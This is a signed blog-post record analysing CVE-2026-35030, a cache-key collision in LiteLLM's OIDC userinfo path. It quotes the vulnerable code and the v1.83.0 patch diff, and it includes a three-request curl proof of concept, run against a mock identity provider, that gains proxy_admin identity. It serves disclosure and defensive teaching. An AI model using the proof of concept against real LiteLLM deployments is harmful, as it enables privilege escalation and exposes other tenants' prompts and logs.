-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The cache key was the algorithm, base64url-encoded\n\nThe vulnerable function is `get_oidc_userinfo` in `litellm/proxy/auth/handle_jwt.py`. Pre-patch:\n\n```python\n# v1.82.5, litellm/proxy/auth/handle_jwt.py, line 597\nasync def get_oidc_userinfo(self, token: str) -> dict:\n if not self.litellm_jwtauth.oidc_userinfo_endpoint:\n raise Exception(\n \"OIDC UserInfo endpoint not configured. ...\"\n )\n\n # Check cache first\n cache_key = (\n f\"oidc_userinfo_{token[:20]}\" # Use first 20 chars of token as cache key\n )\n cached_userinfo = await self.user_api_key_cache.async_get_cache(cache_key)\n\n if cached_userinfo is not None:\n verbose_proxy_logger.debug(\"Returning cached OIDC UserInfo\")\n return cached_userinfo\n```\n\nThe inline comment is the testimony. The author intended `token[:20]` as a per-token fingerprint, on the implicit assumption that the first twenty characters of an access token are random.\n\nA JWT is not random. Its structure is three base64url segments joined with dots: header, payload, signature. The header is a JSON object whose canonical fields are `alg`, `typ`, and optionally `kid`. python-jose builds the header dictionary with `alg` first; the JSON serialisation is deterministic; the base64url encoding is deterministic. For RS256, the first fifteen decoded bytes are the literal string `{\"alg\":\"RS256\",` and the first twenty base64url-encoded characters are `eyJhbGciOiJSUzI1NiIs`. These are the same twenty characters for every RS256 JWT, regardless of who signed it, who it identifies, or which key it carries.\n\nThe cache key for any RS256 JWT presented to a LiteLLM gateway with `oidc_userinfo_enabled: true` is the literal string `oidc_userinfo_eyJhbGciOiJSUzI1NiIs`. The cache is keyed on the algorithm.\n\n## Three HTTP requests, one cache entry\n\nThe PoC ships a mock OIDC provider that issues RS256 JWTs against a generated RSA key, and a LiteLLM container pinned to v1.82.5 with `enable_jwt_auth: true`. The exploit is three requests.\n\n```bash\n# 1. Admin gets a token from the IdP, calls LiteLLM /user/info.\nADMIN=$(curl -s -X POST http://oidc-mock:8000/token \\\n -H 'Content-Type: application/json' \\\n -d '{\"subject\":\"admin\"}' | jq -r .token)\ncurl -s -H \"Authorization: Bearer $ADMIN\" http://litellm:4000/user/info\n# {\"user_id\": \"admin\", \"user_role\": \"proxy_admin\", ...}\n# Server side: LiteLLM calls /userinfo on the IdP, stores the response\n# under key \"oidc_userinfo_eyJhbGciOiJSUzI1NiIs\".\n\n# 2. Attacker gets a token for a different subject from the same IdP.\nATTACKER=$(curl -s -X POST http://oidc-mock:8000/token \\\n -H 'Content-Type: application/json' \\\n -d '{\"subject\":\"attacker\"}' | jq -r .token)\n# ATTACKER[:20] == ADMIN[:20] because both are RS256.\n\n# 3. Attacker calls /user/info with their own token.\ncurl -s -H \"Authorization: Bearer $ATTACKER\" http://litellm:4000/user/info\n# {\"user_id\": \"admin\", \"user_role\": \"proxy_admin\", ...}\n```\n\nThe third request never reaches the OIDC `/userinfo` endpoint. The cache hit short-circuits the path. LiteLLM constructs its `UserAPIKeyAuth` object from the cached userinfo, not from the JWT the attacker actually presented. The attacker is admin for the cache TTL, which the PoC's config sets to one hour.\n\nThe attacker did not crack the admin's signing key. The attacker did not steal the admin's token. The attacker held their own valid JWT for their own subject, signed by the same IdP with the same algorithm, and the cache returned the admin's identity because the cache could not tell two RS256 JWTs apart.\n\nLiteLLM's `proxy_admin` role is not a labelling convenience. The role gates virtual-key minting, team and user management, model-budget creation, and the request-log endpoints that include prompts and completions for every tenant of the proxy. The platform team that wires LiteLLM in front of OpenAI and Anthropic does it specifically because they want per-user attribution, per-team budgets, and audited request logs. The cache collision returns the most-privileged identity any caller has handed the gateway in the past hour to every JWT-bearing caller, which means per-user attribution is the first thing to collapse and audited request logs are the second.\n\n## The patch is two fixes, both load-bearing\n\nThe v1.83.0 diff against `handle_jwt.py`:\n\n```diff\n+import hashlib\n ...\n @staticmethod\n- def is_jwt(token: str):\n+ def is_jwt(token: Optional[str]) -> bool:\n+ if token is None:\n+ return False\n parts = token.split(\".\")\n return len(parts) == 3\n ...\n # Check cache first\n cache_key = (\n- f\"oidc_userinfo_{token[:20]}\" # Use first 20 chars of token as cache key\n+ f\"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}\"\n )\n ...\n- # Check if OIDC UserInfo endpoint is enabled\n- if jwt_handler.litellm_jwtauth.oidc_userinfo_enabled:\n+ # Check if OIDC UserInfo endpoint is enabled, but fall back to standard\n+ # JWT auth if the token itself is a well-formed JWT (3-part structure).\n+ if (\n+ jwt_handler.litellm_jwtauth.oidc_userinfo_enabled\n+ and not jwt_handler.is_jwt(token=api_key)\n+ ):\n```\n\nThe first substantive hunk is the headline fix. The cache key becomes the SHA-256 digest of the full token. Every byte of the JWT contributes to the digest; two tokens that differ in any byte produce different keys.\n\nThe second hunk is the admission. The call site to `get_oidc_userinfo` is now gated by `not jwt_handler.is_jwt(token=api_key)`. The userinfo path runs only when the inbound credential is not a three-part JWT. The vendor's prose comment in the diff names the new behavior: \"fall back to standard JWT auth if the token itself is a well-formed JWT (3-part structure).\"\n\nEither change closes the CVE on its own. The headline fix makes the cache key correctly distinguish two different tokens. The second change ensures the cache is never consulted for the input shape that exhibited the collision in the first place. Both ship in the same release.\n\nThe PoC's fixed-container Dockerfile knows this:\n\n```dockerfile\n# Patch: v1.83.0 added an is_jwt() check that skips OIDC userinfo for JWT tokens.\n# Remove the is_jwt condition so we can test the sha256 cache key behavior.\nRUN sed -i 's/and not jwt_handler.is_jwt(token=api_key)//' \\\n /usr/local/lib/python3.11/site-packages/litellm/proxy/auth/handle_jwt.py\n```\n\nTo demonstrate that the sha256 cache-key change alone defeats the collision, the researcher has to surgically remove the second guard from the patched binary. The vendor's actual shipped fix is belt and suspenders. The suspenders are the part the GHSA does not call out.\n\n## The function never knew which kind of token it was holding\n\nOIDC's `/userinfo` endpoint is an OAuth2 resource. The access token presented to it has historically been opaque: a random string the IdP issues and the resource server submits back to learn who is calling. RFC 9068 standardises a JWT-shaped access token, but the userinfo flow predates the JWT-access-token shape by a decade. The cache-key-by-prefix logic in LiteLLM's userinfo path is plausible for an opaque token. The first twenty characters of a random 32-byte token are random; using them as a cache key gives one bucket per token, give or take birthday-bound collisions at very large scale.\n\nLiteLLM's deployment shape is the JWT-access-token shape. The proxy is fronted by an OIDC provider that issues JWTs, the gateway accepts the JWT as a bearer credential, and the same code path that would key an opaque token by its prefix keys a JWT by its prefix. The parameter signature is `token: str`. Neither shape is enforced; neither shape is documented as the function's input contract. The cache assumed a per-actor entropy distribution that one of the two legal input shapes does not produce.\n\nElsewhere in the same proxy codebase, prefix slices of tokens are used correctly: `key.token[:8] + \"...\"` in `key_rotation_manager.py` and `\"{}****{}\".format(api_key[:4], api_key[-4:])` in `user_api_key_auth.py` are display redactions. They are never asked to distinguish one token from another, because their callers know prefix slices cannot. The one place a prefix slice was promoted to a unique identifier is the one place it broke.\n\nThe second hunk in the patch fixes the structural error. It says: this function should never have run on a JWT, because JWTs are self-describing and can be validated against the cached JWKS without ever calling the IdP. The sha256 cache-key change is the local fix that covers the residual case in which an opaque OAuth2 access token does flow through this function legitimately.\n\n## Prefix is not identity\n\nThis is a relative of [hash-is-not-entropy](/patterns/hash-is-not-entropy): a derived key whose entropy is bounded by the entropy of the input region the derivation actually reads. There the transform is a cryptographic hash over a guessable input. Here the transform is a substring over a structurally-prefixed input. The lesson generalises in both directions. Any time a key is derived from a slice of a value, the per-actor entropy of the key depends on whether that slice covers a region where actors actually differ.\n\nSlices that look natural and silently break under producer-shape drift:\n\n- `token[:N]` for an auth cache key. The CVE here.\n- `path.split('/')[0]` for a routing decision. Breaks when the path becomes absolute or carries a scheme.\n- The first frame of a request body for a fingerprint. Breaks when the framing protocol's headers are length-prefixed.\n- The leading bytes of a hashed password for a session id. Breaks the moment the password algorithm gains a fixed salt prefix.\n\nThe compiler does not enforce the entropy contract. The type signature says `str`. The producer's entropy distribution lives where the producer chose to put it, and the consumer's slice covers where the consumer assumed it would be. When those two regions diverge, the slice is constant across all callers, and the key collapses to one bucket. This is prefix-is-not-identity. It is what `token[:20]` did to LiteLLM's OIDC userinfo cache, and it is what every `value[:N]` cache key risks any time the producer of `value` is not the same person as the author of the slice.\n\nLiteLLM v1.82.5 collapsed to one bucket per algorithm. The hour-long TTL on that bucket made the cache a one-hour persistence layer for the most-privileged identity any user had handed it. The headline CVE is the cache collision. The structural CVE is the path that fed JWTs into a cache keyed for opaque tokens. Both shipped in v1.82.5. Both ship fixed in v1.83.0. The admission is in the diff.\n\nPoC: [learner202649/CVE-2026-35030-PoC](https://github.com/learner202649/CVE-2026-35030-PoC)","closing_line":"The cache thought it was a map. It was a singleton with an hour-long TTL on whoever logged in first.","hook_md":"LiteLLM v1.82.5 caches OIDC userinfo responses under the key `oidc_userinfo_{token[:20]}`. The first twenty characters of an RS256 JWT base64url-decode to `{\"alg\":\"RS256\",`. They are the same string for every user the cache has ever held. The first authenticated request populates the entry; every request that follows, from any other user signed with the same algorithm, retrieves it. The cache thought it was holding one entry per user. It was holding one entry, period. The fix in v1.83.0 is two lines. The second one is the admission.","post_id":361,"slug":"litellm-cve-2026-35030-cache-key-was-the-jwt-header","title":"CVE-2026-35030: LiteLLM Cached the User Under the JWT Header","type":"initial","unreadable_sentence":"The cache thought it was holding one entry per user. It was holding one entry, period."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCakQRmgAKCRDeZjl4jgkQ JgvKAP9TWkKZbWvFc0kqcEjeA4B9y1UBg6BLc709lKTvCxkBeQEA/2xHyGFyL4CT QWL2/FbehTqoSH1IBw8y8dr3sazaLws= =MQpD -----END PGP SIGNATURE-----